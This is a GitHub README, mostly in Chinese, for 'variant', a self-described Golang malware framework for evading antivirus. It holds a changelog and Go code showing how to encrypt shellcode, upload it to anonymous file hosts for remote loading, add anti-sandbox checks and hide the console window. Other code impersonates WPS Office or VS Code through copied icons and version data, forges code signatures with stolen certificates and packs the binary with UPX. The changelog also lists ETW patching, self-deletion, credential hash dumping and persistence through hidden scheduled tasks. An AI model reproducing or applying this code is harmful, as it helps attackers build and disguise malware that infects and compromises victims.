Skip to content

C1ph3rX13/variant

Repository files navigation

variant

Golang Malware Framework

Description

本项目会不断添加各种免杀的技术,但是不适合直接不做任何修改的编译和使用,即使是有随机特征的编译

特别说明

  1. 本项目没有 GUI 版本,使用方法查看demo文件夹
  2. 学习Go免杀的代码集合,顺手做了模块化处理,实际开发未结束,还在持续更新
  3. 最好的免杀效果需要自行修改渲染编译模板

更新日志

2024.10.18

  1. 更新SigTheif,简化代码逻辑,更换读取文件的方法
  2. 更新渲染模板 v6,更换调用逻辑
  3. demo更新适配 v6 渲染模板

2024.9.26

  1. 新增gores模块,支持自定义文件的资源信息和复制其他对象资源信息(todo:ICON随机Hash)
// 自定义资源信息,修改 variant/gores/render.go 中的 func NewResDate()
// 推荐使用下面 Extract() 方法直接复制指定对象的资源信息和文件
func NewResDate() ResDate {
	goRes := ResDate{
		ICOName:                           "icon.png",
		Name:                              "WPS Office",
		Version:                           "12.1.0.16399",
		Description:                       "WPS Office",
		MinimumOs:                         "win7",
		ExecutionLevel:                    "requireAdministrator",
		UIAccess:                          false,
		AutoElevate:                       true,
		DpiAwareness:                      "system",
		DisableTheming:                    false,
		DisableWindowFiltering:            false,
		HighResolutionScrollingAware:      false,
		UltraHighResolutionScrollingAware: false,
		LongPathAware:                     false,
		PrinterDriverIsolation:            false,
		GDIScaling:                        false,
		SegmentHeap:                       false,
		UseCommonControlsV6:               false,
		FixedFileVersion:                  "12.1.0.16399",
		FixedProductVersion:               "WPS Office",
		Comments:                          "",
		CompanyName:                       "",
		FileDescription:                   "WPS Office",
		FileVersion:                       "12.1.0.16399",
		InternalName:                      "",
		LegalCopyright:                    "Copyright©2024 Kingsoft Corporation. All rights reserved.",
		LegalTrademarks:                   "",
		OriginalFilename:                  "wps_host.exe",
		PrivateBuild:                      "",
		ProductName:                       "WPS Office",
		ProductVersion:                    "WPS Office",
		SpecialBuild:                      "",
	}

	return goRes
}

// 渲染输出 winres.json 文件
// 将 ICON 和 winres.json 放置在编译目录的 winres 文件夹中即可
winres := gores.ResTmpl{
		ResPath:   "gores/gores.tmpl",
		OutputDir: "output",
	}

	err := winres.ResRender()
	if err != nil {
		panic(err)
	}
  1. 更新gores编译方法,从build模块中分离,新增资源提取方法Extract()
    // 添加图标和文件信息
	winres := gores.GoWinRes{
		CompilePath: "output",          // 指定编译目录
		ExtractFile: "Code.exe",        // 指定提取资源文件的对象
		ExtractDir:  "",                // 指定提取资源文件后输出的路径
		PatchFile:   cOpts.ExeFileName, // 指定使用 Patch 添加资源文件的对象
	}

	// 提取 vscode 所有的资源文件
	err = winres.Extract()
	if err != nil {
		log.Fatal(err)
	}

	// 使用 Patch 添加资源文件到编译后的程序
	err = winres.HandleWinRes()
	if err != nil {
		log.Fatal(err)
	}
  1. 资源提取方法Extract()实现的效果

winres

2024.8.15

  1. 更新render模块,支持新增的cloader,模板渲染调用结构体优化
  2. 更新渲染模板v5,支持新增的cloader
  3. demo更新,适配其他模块的更新
  4. Hide Cmd隐藏执行窗口的函数移动到sandbox模块
  5. DLL渲染模板和调用方式更新

2024.8.14

  1. cloader模块新增 23 个CGO类型 loader
  2. 跟随编译需求更新initialize.bat,新增依赖检查
  3. xwindows模块文档完善,新增 20+ API (详情见:xwindows 仓库)

2024.8.13

  1. 新增cloader模块,使用CGO调用C,代码更简洁

2024.7.20

  1. enc模块改名encoder
  2. encoder模块新增降熵方法ReduceEntropy()、恢复方法ReverseEntropy()
  3. render模块TmplRender()方法更新,符合整体设计逻辑
func (tOpts TmplOpts) TmplRender() error {}
  1. wdll模块更新,添加更多API

2024.6.26

  1. hook模块重构,现支持etwpatchselfdelete
  2. dynamic模块重构,现支持获取任意URL资源 SHA256 的指定切片新增对AES和DES Key和IV生成位数限制
  3. network模块优化,所有的请求方式均支持代理(可选),优化客户端的仿真设置

2024.5.13

  1. 新增DLL编译:指定DllBase.tmpl模板,使用BuildMode: "c-shared"
  2. 新增DLL渲染模板:DllBase.tmpl
  3. 新增DLL编译demo,查看demoGoDLL文件夹

2024.4.1

  1. 新增计划任务隐藏

    • 修改 Index 为 0 隐藏:IndexToZero()
    • 修改/删除 SD 项:ChangeSD() & DeleteSD()
    • 删除注册表文件夹 SD 项:DeleteSD()
    • 删除注册表中的计划任务文件&文件夹:RegDeleteTaskDir()
    • 删除计划任务XML文件:DeleteTaskDir() & DeleteTaskFile()

RegTasks

2024.3.25

  1. 优化alive自动维权模块:WinTaskXML(), SetWinTask()

2024.3.21

  1. 新增alive自动维权模块,现支持注册表启动项,计划任务COM API
  2. 文档更新

2024.3.19

  1. 更新自删除,将hook.SelfDelete()置于loader,inject方法之前即可

selfdelete

  1. 新增hashdump功能
  2. 更新demo

2024.3.12

  1. 新增initialize.bat,自动配置项目依赖项,移除go.mod, go.sum
  2. 新增反沙箱:Beep,利用该方法达到Sleep的效果
  3. wdll模块同步更新

2024.2.28

  1. remote模块改名为network
  2. 新增多种加密:elliptic_curvemorsepokemonrot13rot47
  3. 模板更新V4 Base.tmpl:兼容全部渲染方式(参数加载暂时除外)
  4. 加载模块更新:ADsMemLoad
  5. remder模块同步更新
  6. enc模块新增:PokemonStringspokemon加密专用方法;修改其他加密的兼容性

2024.2.20

  1. 新增loaderipv4, macaddress, enumsystemlocales + Hell's Gate + Halo's Gate technique
  2. Dll模块重构调用方式,特征更新
  3. 新增hook模块,Hook函数检测ETW Patch权限检测/提权

2024.2.18

  1. 新增loaderEnumerateLoadedModulesLoad, EnumChildWindowsLoad, EnumPageFilesWLoad
  2. Dll模块根据loader同步更新
  3. 新增garble编译参数:-tiny
  4. 新增构建模式:-buildmode,详情执行go help buildmode查看
  5. 新增FileAnalyzer方法,计算文件的特征:entropy, md5, sha1, sha256, sha512

2024.2.7

  1. 新增garble(需安装)编译,支持-seed, -literals, -debug,但会导致编译的文件体积增大和熵值增加
  2. 重构编译模块,现在支持原生go编译, garble编译
  3. 调整编译的流程和日志输出逻辑
  4. 重构Upx模块,支持自定义Upx.exe的路径
  5. 重构Winres模块,现在使用HandleWinRes方法可以直接添加图标
  6. 预计新增Go编译器: llvm, tinygo - 实验性
  7. 新增install.bat,初始化工具

2024.2.6

  1. 新增两种远程加载的方式UsersCloud, file.io (web)
  2. 新增github.com/imroc/req/v3的请求客户端
  3. 优化远程加载模块的函数描述
  4. 简化远程模块上传加密文件的结构体
  5. 模板更新,兼容新的远程加载方式

2024.2.5

  1. 新增参数加载模块,可以自定义(随机)密钥
  2. 模板简化,兼容所有模块的渲染
  3. 渲染模块优化,兼容所有模块的调用
  4. 新增远程加载模块,远程加密数据的上传会在渲染阶段完成,上传(curl:已完成, web:开发中...)支持代理
  5. 新增动态数据模块可以和任意加载方式联动
  6. 新增上传加密Payload随机化
  7. 新增loader:earlybird

2024.2.4

  1. 新增动态获取解密数据的模块 - Dynamic: payload, key, iv
  2. 按照本地、远程、参数加载的方式重构,减少模板渲染的复杂度
  3. 新增分离加载模块
  4. 渲染模板优化

2024.1.30

  1. lzw压缩导致熵值上升到7.0+;测试fmt.Printf("Hello World")编译后熵值在6.0-6.1之间,压缩模块下次一定
  2. 远程加载:模块、模板、配置更新
  3. 重构加密模块,利用反射根据传入的方法签名判断加密
  4. 使用windows package重写了DLL调用模块,syscall&windows的总结
  5. 模板新增根据自定义导入对应库设置
  6. 新增多个多重加密/编码方法,Base32/62编码测试熵值比较低

2024.1.29

  1. 新增渲染判断,模板可根据结构体来渲染
  2. 更改为验证为沙箱之后程序正常退出
  3. 新增代码检查:检查通过再编译;初始化:go install golang.org/x/tools/cmd/goimports@latest
  4. 细化结构体:根据功能区分
  5. 新增压缩算法:lzw, zstd;熵值模块
  6. 新增动态方法:GetSelfSHA256Nth
  7. 优化代码逻辑

2024.1.27

  1. 模块化配置
  2. 模板渲染
  3. 编译控制
  4. UPX压缩:需要检查upx.exe是否正确放置在build文件夹,才能正确初始化
  5. 签名伪造
  6. 添加图标文件信息:初始化:go install github.com/tc-hib/go-winres@latest
  7. 模板更新
  8. 反沙箱模块

TODO

    • 动态key, iv
    • 熵控制
    • 隐藏导入表

Tmpl Struct

动态模板支持

type Data struct {
	CipherText    string      // 保存加密文本的变量名
	PlainText     string      // 保存解密文本的变量名
	DecryptMethod string      // 解密方法
	Pokemon       interface{} // Pokemon Shellcode
	Loader        interface{} // loader
	SandBox       interface{} // 反沙箱模块
	Local         interface{} // 本地加载模块
	Remote        interface{} // 远程加载模块
	Args          interface{} // 参数加载模块
	Compressor    interface{} // 压缩算法模块
	Apart         interface{} // 分离加载模块
	Dynamic       interface{} // 动态数据
}

Compile

Windows

使用特殊编译参数需要设置的环境变量,推荐设置系统环境变量的方式,使用框架来进行编译

// 手动编译,设置临时环境变量
set GOPRIVATE=* 
set GOGARBLE=* 

编译器支持

// 基础参数:ldflags="-s -w -H=windowsgui" -trampath
func (c CompileOpts) GoCompile() error {
	return c.compile("go")
}

func (c CompileOpts) GarbleCompile() error {
	return c.compile("garble")
}

Remote ShellCode Exec

UsersCloud

	// 上传远程加载的Payload到第三方
	uc := remote.UsersCloud{
		Path: "output",
		Src:  params.FileName,
	}

	// 设置远程加载渲染模板
	remoteSet := render.Remote{
		Import:     "variant/remote",
		UCFileCode: uc.UCUpload(),
		UCMethod:   "remote.UCRead",
	}

Transfer

	// 上传远程加载的Payload到第三方
	cUrl := remote.Transfer{
		Src:   params.FileName,
		Path:  "D:\\variant\\output\\",
		Proxy: "192.168.31.10:2080",
	}
	// 设置远程加载渲染模板
	remoteSet := render.Remote{
		Import:  "variant/remote",
		Url:     cUrl. TransferUpload(),
		Method:  "remote.RestyStrings",
	}

File.io

	// 上传远程加载的Payload到第三方
	fi := remote.FileIO{
		Src:  params.FileName,
		Path: "output",
	}

	// 设置远程加载渲染模板
	remoteSet := render.Remote{
		Import: "variant/remote",
		Url:    fi.Upload(),
		Method: "remote.FileIORead",
	}

Executable Packer

Upx

	// 压缩参数
	upx := build.UpxOpts{
		Level:   "--lzma",
		Keep:    true,
		Force:   true,
		SrcExe:  cOpts.ExeFileName,
		SrcPath: "output",
		UpxPath: "build",
	}

	// 执行压缩
	err = upx.UpxPacker()
	if err != nil {
		log.Fatal(err)
	}

Demo

动态加载数据

package main

import (
	"fmt"
	"strings"
	"variant/build"
	"variant/crypto"
	"variant/dynamic"
	"variant/enc"
	"variant/log"
	"variant/network"
	"variant/rand"
	"variant/render"
)

func main() {
	// 反沙箱模块
	sandbox := render.SandBox{
		Methods: []string{
			"sandbox.BootTime",
			"sandbox.GetDesktopFiles",
		}}

	dy := render.Dynamic{
		Import:        "variant/dynamic", 	// 导入库
		DynamicUrl:    dynamic.CtIcoUrl,    // 动态 key
		DynamicMethod: "dynamic.GetIcoHex", // 动态获取 key
		DynamicKey:    rand.RStrings(), 	// 随机变量名
		KeyStart:      0, 					// 动态获取 key 起始区间
		KeyEnd:        8, 					// 动态获取 key 结束区间
		DynamicIV:     rand.RStrings(), 	// 随机变量名
		IVStart:       10,					// 动态获取 IV 起始区间
		IVEnd:         18,					// 动态获取 IV 起始区间
	}

	loader := render.Loader{
		Method: "loader.UuidFromStringLoad", // 加载器
		Hide:   "loader.HideConsoleW32",	 // 隐藏执行窗口 
	}

	// 设置加密参数
	params := enc.Payload{
		PlainText: "render/templates/payload.bin", // raw shellcode
		FileName:  rand.RStrings(),  			   // 随机变量名
		Path:      "output",					   // 加密后的 shellcode 输出文件夹
		Key:       dynamic.GetIcoHex(dy.DynamicUrl, dy.KeyStart, dy.KeyEnd), // 动态 key 加密 shellcode
		IV:        dynamic.GetIcoHex(dy.DynamicUrl, dy.IVStart, dy.IVEnd),   // 动态 IV 加密 shellcode
	}
	// 加密之后的 shellcode
	payload, _ := params.SetKeyIV(crypto.XorSm4HexBase85Encrypt) // 传入加密方法,根据加密方法的签名渲染模板
	_ = params.WriteStrings(payload)

	// 上传远程加载的Payload到第三方
	fi := network.FileIO{
		Path: "output",			// 加密后的 shellcode 输出文件夹
		Src:  params.FileName,  // 加密后的 shellcode 文件名称
	}

	// 设置远程加载渲染模板
	remoteSet := render.Remote{
		Import: "variant/network",    // 导入库
		Method: "network.FileIORead", // 动态读取 shellcode 方法
		Url:    fi.FileIOUpload(),    // 上传 shellcode 到匿名临时空间
	}

	// 定义模板渲染数据
	data := render.Data{
		CipherText:    rand.RStrings(), // 随机变量名
		PlainText:     rand.RStrings(), // 随机变量名
		DecryptMethod: "crypto.XorSm4HexBase85Decrypt", // 解密方法
		Loader:        loader,     // 加载器
		Dynamic:       dy,     	   // 动态数据配置
		Remote:        remoteSet,  // 远程加载配置
		SandBox:       sandbox,    // 反沙箱配置
	}

	// 设置模板的渲染参数
	tOpts := render.TmplOpts{
		TmplFile:     "render/templates/v4/Base.tmpl", // 指定模板文件
		OutputDir:    "output",						   // 模板编译文件位置
		OutputGoName: fmt.Sprintf("%s.go", rand.RStrings()), // 模板文件名称
		Data:         data, // 加载器数据
	}
	// 生成模板
	err := render.TmplRender(tOpts)
	if err != nil {
		log.Fatal(err)
	}

	// 编译参数
	cOpts := build.CompileOpts{
		GoFileName:  tOpts.OutputGoName,
		ExeFileName: fmt.Sprintf("%s.exe", strings.TrimSuffix(tOpts.OutputGoName, ".go")),
		HideConsole: false,
		CompilePath: "output",
		GSeed:       true,
		GDebug:      true,
		Literals:    true,
        Tinytrue,
	}

	// 编译
	if err = cOpts.GoCompile(); err != nil {
		log.Fatal(err)
	}

	// 添加图标和文件信息
	err = cOpts.Winres()
	if err != nil {
		log.Fatal(err)
	}

	// 伪造证书配置
	sOpts := build.SignOpts{
		SignPath: "output",
		UnSign:   cOpts.ExeFileName,
		Signed:   "signed_" + cOpts.ExeFileName,
		Cert:     "wps.der",
		Thief:    "wps.exe",
		DstCert:  "wps.der",
	}

	// 保存证书
	err = sOpts.SaveCert()
	if err != nil {
		log.Fatal(err)
	}

	// 利用EXE进行签名伪造
	err = sOpts.ExeThief()
	if err != nil {
		log.Fatal(err)
	}

	// 利用证书进行签名伪造
	err = sOpts.CertThief()
	if err != nil {
		log.Fatal(err)
	}

	// 压缩参数
	upx := build.UpxOpts{
		Level:   "-9",
		Keep:    true,
		Force:   true,
		SrcExe:  cOpts.ExeFileName,
		UpxPath: "output",
	}

	// 压缩
	err = upx.UpxPacker()
	if err != nil {
		log.Warn(err)
	}

}

Thanks

https://github.com/Ne0nd0g/go-shellcode

https://github.com/safe6Sec/GolangBypassAV

https://github.com/afwu/GoBypass

https://github.com/piiperxyz/AniYa

https://github.com/wumansgy/goEncrypt

https://github.com/TideSec/GoBypassAV

https://github.com/Pizz33/GobypassAV-shellcode

https://github.com/timwhitez/Doge-Gabh

About

Golang Malware Framework

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published